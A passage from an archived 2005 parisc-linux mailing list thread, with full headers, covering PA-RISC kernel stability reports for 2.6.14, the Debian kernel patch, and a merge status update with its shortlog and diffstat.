Message-ID: <IP2QL9$80D9D12BAAD377014AEB6EE5322A5F7D__7550.54031401432$1416623933$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623933 16862 80.91.229.3 (22 Nov 2014 02:38:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:53 +0000 (UTC)
Cc: debian-kernel <debian-kernel@lists.debian.org>,
 "sven.luther" <sven.luther@wanadoo.fr>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 matthew <matthew@wil.cx>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Oct 2005 14:22:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 28 Oct 2005 16:22:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBDA97D6FF;
	Fri, 28 Oct 2005 08:22:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09967-04; Fri, 28 Oct 2005 08:22:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51B727D703;
	Fri, 28 Oct 2005 08:22:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E3907D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Oct 2005 08:22:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09857-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Oct 2005 08:22:48 -0600 (MDT)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 8AA2F7D6E6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Oct 2005 08:22:47 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by xizor.is.scarlet.be  with ESMTP id j9SEMLl11360; 
	Fri, 28 Oct 2005 16:22:21 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FVEQY95LeSEkVL6WZHQhaXN1IGRvbwBZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23190

> > On Fri, Oct 28, 2005 at 05:34:06PM +0900, Horms wrote:
> > > Also, can someone look into HPPA, or point me at which patch to use=
?
> > >
http://packages.vergenet.net/testing/linux-2.6-2.6.14/linux-2.6_2.6.14-1-=
hppa.log.gz
> > 
> > I know I *said* not to use the -pa0 kernel, but it's booted fine for =
me
> > on a K460 and an N4000.   Any other reports?
> 
> Not -pa0 but 2.6.14-rc5-pa1 has been up for more than 7 days now on
> my c3k.  Nothing since 2.6.8.1-pa11 has been this stable.  However,
> gsyprf11 with 64-bit SMP hasn't been as stable (two crashes doing
> GCC builds and checks in roughly the same period).
> 
Dave I fully agree with you: I even report numerous succesfull stress tes=
t
(only up system) on some b180 and b2k 32bit and the same success with
reverting latest frp tausq patch (i.e. re-enabling fpr) ;-)

Still have to do:
    o have to stress more d380 (32bit smp system)
    o test gcc-4.1 build (on various system's 32/64 bit smp/up)

Joel=0A=0A---------------------------------------------------------------=
=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore=
 info on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14 has been released, please all checks
	build and configs, we upload today :)
Date: Fri, 28 Oct 2005 09:11:06 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <1130512266.26310.18.camel__24949.6936020025$1416623934$gmane$org@localhost>
References: <20051028052909.GA24788@localhost.localdomain>
	<20051028053740.GB24788@localhost.localdomain>
	<20051028080239.GE24155@mail.lowpingbastards.de>
	<20051028083312.GD11045@debian.org>
	<20051028132020.GC1612@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623934 16866 80.91.229.3 (22 Nov 2014 02:38:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:54 +0000 (UTC)
Cc: Sven Luther <sven.luther@wanadoo.fr>,
 parisc-linux@lists.parisc-linux.org,
 debian-kernel@lists.debian.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Oct 2005 15:11:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 28 Oct 2005 17:11:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 572477D70A;
	Fri, 28 Oct 2005 09:11:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10396-05; Fri, 28 Oct 2005 09:11:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5D767D70B;
	Fri, 28 Oct 2005 09:11:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47FDE7D703
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Oct 2005 09:11:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10233-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Oct 2005 09:11:08 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id AE9A47D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Oct 2005 09:11:08 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2DF9C36000D;
	Fri, 28 Oct 2005 09:18:26 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17776-05; Fri, 28 Oct 2005 09:18:23 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C86EF360002;
	Fri, 28 Oct 2005 09:18:21 -0600 (MDT)
In-Reply-To: <20051028132020.GC1612@parisc-linux.org>
X-Mailer: Evolution 2.2.3 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wloQY6RAeSEkdb6WZHQhaXN1IGRvbwDi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23191

On Fri, 2005-10-28 at 07:20 -0600, Matthew Wilcox wrote:
> On Fri, Oct 28, 2005 at 05:34:06PM +0900, Horms wrote:
> > Also, can someone look into HPPA, or point me at which patch to use?
> > http://packages.vergenet.net/testing/linux-2.6-2.6.14/linux-2.6_2.6.14-1-hppa.log.gz
> 
> I know I *said* not to use the -pa0 kernel, but it's booted fine for me
> on a K460 and an N4000.   Any other reports?
> 
> http://cvs.parisc-linux.org/download/linux-2.6/patch-2.6.14-pa0.gz

Thanks - I've committed this patch for now.
-- 
dann frazier <dannf@dannf.org>

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge status update
Date: Sat, 29 Oct 2005 15:10:09 -0400
Lines: 215
Approved: news@gmane.org
Message-ID: <20051029191009.GA6475@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623934 16870 80.91.229.3 (22 Nov 2014 02:38:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Oct 2005 19:10:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 29 Oct 2005 21:10:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DEB967D6B6;
	Sat, 29 Oct 2005 13:10:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20375-10; Sat, 29 Oct 2005 13:10:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 983397D6AA;
	Sat, 29 Oct 2005 13:10:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CA077D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Oct 2005 13:10:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20324-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Oct 2005 13:10:38 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 7FF6F7D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Oct 2005 13:10:38 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 8B8A517087
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Oct 2005 15:10:37 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17586-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Oct 2005 15:10:37 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 2DBB117088; Sat, 29 Oct 2005 15:10:37 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x62677299-52656d6f746546617454697265-494e424f582e4f7574626f78: 1130613038-0810148467692-v4.0.11
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YawRY7MreSEkUb6WZHQhaXN1IGRvb0BT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23192

Hi,

As many of you noticed, Linus pulled my git tree and a whole big chunk of
our diff went upstream on Friday. This email is just a quick note to let
everyone know what got pulled, and how much further we have to go to
mainline, as well as what will go next.

Status:

344K    linus_to_parisc_1.diff
460K    patch-2.6.14-pa0
------------------------------
116K	remaining

Remaining chunks is approximately:
	5K 	ad1889		<- I will handle
	24K	sym53c8xx	<- willy will handle
	27K	compat
	7.3K	opl3
	20K	oss harmony & ad1889	<- will remove oss ad1889
	2K	misc
	4K	tulip
	--------------
	~89K accounted for

The rest is approximately what has been committed since I took a snapshot
of the diff for splitting up. I intend to now track CVS commits 
approximately as they happen, with manual quality control.

The plan I have in my head right now is to have a git tree of parisc
specific things that Linus can constantly pull from, a git tree of
compat related things, and a third parisc-linux tree, which will merge
the other two, and have other modifications that probably shouldn't
go upstream. The goal is to have something I can build kernels out of
for all my machines.

A note on commits; please make it really clear who should get credit
for things if you're committing a patch from someone else. I had a bit
of difficulty tracking down who did "the most work" on some commits,
apologies if anyone feels neglected.

Please also try to seperate out commits that modify architecture
independent code from parisc related commits. This will make it much
easier for me to split out what needs to go where when I go to merge.

Cheers,
	Kyle

I've appended the shortlog and diffstat from what Linus merged:

Carlos O'Donell:
  [PARISC] Implement 5 argument clone.

Grant Grundler:
  [PARISC] Update sba_iommu from parisc tree
  [PARISC] Update ccio-dma from parisc tree
  [PARISC] Allow STI_CONSOLE access to some FONTS
  [PARISC] Make sure use of RFI conforms to PA 2.0 and 1.1 arch docs
  [PARISC] Move pa_tlb_lock to tlb_flush.h
  [PARISC] Update bitops from parisc tree
  [PARISC] Use work queue in LED/LCD driver instead of tasklet.
  [PARISC] Replace uses of __LP64__ with CONFIG_64BIT
  [PARISC] Minor iosapic.c cleanup
  [PARISC] Add sync required after fdc to enforce insn ordering
  [PARISC] More informative error message in pcibios_link_hba_resources
  [PARISC] Cleanup whitespace and handle proc_mkdir() failures in pci-dma.c
  [PARISC] Document history of PDC_NARROW as it is now obsolete
  [PARISC] Update Kconfig for itimer selection
  [PARISC] Add ECANCELED to errno.h
  [PARISC] Define pgprot_noncached macro in pgtable.h
  [PARISC] Fix copy_user_page_asm to NOT access past end of page
  [PARISC] Properly specify index field to I/D cache flush ops
  [PARISC] Specify level to fix binutils level promotion bug
  [PARISC] Properly specify section alignment for real2.S

James Bottomley:
  [PARISC] Fix the alloc_slabmgmt panic
  [PARISC] Remove the spurious do_softirq calls from entry.S

Jens Axboe:
  [PARISC] Add new ioprio_{set,get} syscalls

Jesper Juhl:
  [PARISC] kfree cleanups to ioctl32.c

Kyle McMartin:
  [PARISC] Add ability for prctl to change unaligned trap behaviour
  [PARISC] Initialize serial spinlocks in superio.c
  [PARISC] Add other CRT_ID for newer cards to grfioctl.h
  [PARISC] defconfig updates
  [PARISC] Update MAINTAINERS and CREDITS

Matthew Wilcox:
  [PARISC] Convert parisc_device tree to use struct device klists
  [PARISC] Change the driver names so /sys/bus/parisc/drivers/ looks better
  [PARISC] Convert parisc_device to use struct resource for hpa
  [PARISC] Update dino from parisc tree
  [PARISC] Update spinlocks from parisc tree
  [PARISC] Reorganize sticore probe routine to be a little less convoluted
  [PARISC] Fix compile warning in pci.h
  [PARISC] Update pdc console from parisc tree
  [PARISC] Explicitly specify sr4 when flushing kernel space
  [PARISC] Update scsi drivers from parisc tree
  [PARISC] Fix mux.c driver
  [PARISC] Update parisc specific input code from parisc tree

Randolph Chung:
  [PARISC] Take into account nullified insn and lock functions for profiling
  [PARISC] Replace some calls to bl with b,l or bv to use longer offsets
  [PARISC] Disable use of fpregs in pa_memcpy
  [PARISC] Prevent signal loops if we have a problem setting up a frame
  [PARISC] Update minimum compiler version and CROSS_COMPILE for parisc64
  [PARISC] Avoid use of floating point in the kernel

Stuart Brady:
  [PARISC] Update harmony from parisc tree
  [PARISC] Fix parisc_setup_cache_timing to choose a better flush threshold

Sven Schnelle:
  [PARISC] Add NETPOLL support to lasi_82596

Thibaut Varene:
  [PARISC] Add printing of fpregs state to stack dump

 CREDITS                             |    6 
 MAINTAINERS                         |    9 
 arch/parisc/Kconfig                 |    5 
 arch/parisc/Makefile                |   13 
 arch/parisc/configs/712_defconfig   |  456 ++++++++++++++----------
 arch/parisc/configs/a500_defconfig  |  551 +++++++++++++++++------------
 arch/parisc/configs/b180_defconfig  |  309 ++++++++++------
 arch/parisc/configs/c3000_defconfig |  676 +++++++++++++++++++++++-------------
 arch/parisc/defconfig               |  618 ++++++++++++++++++++++++--------
 arch/parisc/kernel/cache.c          |   10 
 arch/parisc/kernel/drivers.c        |  273 +++++++++-----
 arch/parisc/kernel/entry.S          |  188 ++++------
 arch/parisc/kernel/firmware.c       |   18 
 arch/parisc/kernel/head.S           |   73 +--
 arch/parisc/kernel/ioctl32.c        |   32 -
 arch/parisc/kernel/pacache.S        |  186 +++++----
 arch/parisc/kernel/pci-dma.c        |   48 +-
 arch/parisc/kernel/pci.c            |    3 
 arch/parisc/kernel/pdc_cons.c       |   46 --
 arch/parisc/kernel/perf.c           |   12 
 arch/parisc/kernel/process.c        |   34 +
 arch/parisc/kernel/processor.c      |    8 
 arch/parisc/kernel/real2.S          |   36 -
 arch/parisc/kernel/signal.c         |   22 -
 arch/parisc/kernel/smp.c            |    2 
 arch/parisc/kernel/syscall.S        |   37 -
 arch/parisc/kernel/syscall_table.S  |   10 
 arch/parisc/kernel/time.c           |   26 -
 arch/parisc/kernel/traps.c          |   37 +
 arch/parisc/kernel/unaligned.c      |   16 
 arch/parisc/lib/fixup.S             |    4 
 arch/parisc/lib/memcpy.c            |    2 
 drivers/input/keyboard/hil_kbd.c    |   28 +
 drivers/input/keyboard/hilkbd.c     |    8 
 drivers/input/mouse/hil_ptr.c       |   33 +
 drivers/input/serio/gscps2.c        |   17 
 drivers/input/serio/hil_mlc.c       |   14 
 drivers/input/serio/hp_sdc.c        |    8 
 drivers/net/lasi_82596.c            |   30 +
 drivers/parisc/asp.c                |    6 
 drivers/parisc/ccio-dma.c           |  142 ++++---
 drivers/parisc/ccio-rm-dma.c        |    2 
 drivers/parisc/dino.c               |   42 +-
 drivers/parisc/eisa.c               |    4 
 drivers/parisc/gsc.c                |   11 
 drivers/parisc/hppb.c               |   10 
 drivers/parisc/iosapic.c            |    2 
 drivers/parisc/lasi.c               |    4 
 drivers/parisc/lba_pci.c            |   14 
 drivers/parisc/led.c                |  225 +++++------
 drivers/parisc/pdc_stable.c         |    2 
 drivers/parisc/sba_iommu.c          |  164 +++++---
 drivers/parisc/superio.c            |    3 
 drivers/parisc/wax.c                |    2 
 drivers/parport/parport_gsc.c       |    5 
 drivers/scsi/lasi700.c              |    6 
 drivers/scsi/zalon.c                |    4 
 drivers/serial/8250_gsc.c           |    6 
 drivers/serial/mux.c                |   11 
 drivers/video/console/Kconfig       |    8 
 drivers/video/console/sticore.c     |  132 +++----
 include/asm-parisc/assembly.h       |   71 +++
 include/asm-parisc/bitops.h         |  290 +++++++--------
 include/asm-parisc/errno.h          |    1 
 include/asm-parisc/grfioctl.h       |    2 
 include/asm-parisc/led.h            |    3 
 include/asm-parisc/parisc-device.h  |    7 
 include/asm-parisc/pci.h            |    2 
 include/asm-parisc/pgtable.h        |    2 
 include/asm-parisc/processor.h      |   19 +
 include/asm-parisc/psw.h            |   51 +-
 include/asm-parisc/ptrace.h         |    2 
 include/asm-parisc/spinlock.h       |    5 
 include/asm-parisc/spinlock_types.h |    8 
 include/asm-parisc/system.h         |   50 +-
 include/asm-parisc/tlbflush.h       |   29 +
 include/asm-parisc/types.h          |    2 
 include/asm-parisc/unistd.h         |   16 
 include/linux/hil.h                 |  483 +++++++++++++++++++++++++
 include/linux/hil_mlc.h             |  168 ++++++++
 include/linux/hp_sdc.h              |  300 +++++++++++++++
 include/linux/input.h               |    1 
 sound/parisc/harmony.c              |  116 +++++-
 sound/parisc/harmony.h              |   17 
 84 files changed, 4265 insertions(+), 2089 deletions(-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge status update
Date: Sat, 29 Oct 2005 14:36:01 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20051029203601.GA6550@parisc-linux.org>
References: <20051029191009.GA6475@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623934 16872 80.91.229.3 (22 Nov 2014 02:38:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Oct 2005 20:36:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 29 Oct 2005 22:36:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3986D7D6B5;
	Sat, 29 Oct 2005 14:36:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21242-02; Sat, 29 Oct 2005 14:36:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D88A57D6B6;
	Sat, 29 Oct 2005 14:36:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE8E87D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Oct 2005 14:36:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20769-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Oct 2005 14:36:02 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4D20C7D407
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Oct 2005 14:36:02 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id DA2C0494014; Sat, 29 Oct 2005 14:36:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20051029191009.GA6475@tachyon.int.mcmartin.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bbgRY9EBeSEkar6WZHQhaXN1IGRvb4CM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23193

On Sat, Oct 29, 2005 at 03:10:09PM -0400, Kyle McMartin wrote:
> A note on commits; please make it really clear who should get credit
> for things if you're committing a patch from someone else. I had a bit
> of difficulty tracking down who did "the most work" on some commits,
> apologies if anyone feels neglected.

Don't worry about it too much.  I was mangling stuff for years with
manual patches and never got a complaint.

Thanks for all the work you put into this.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0011
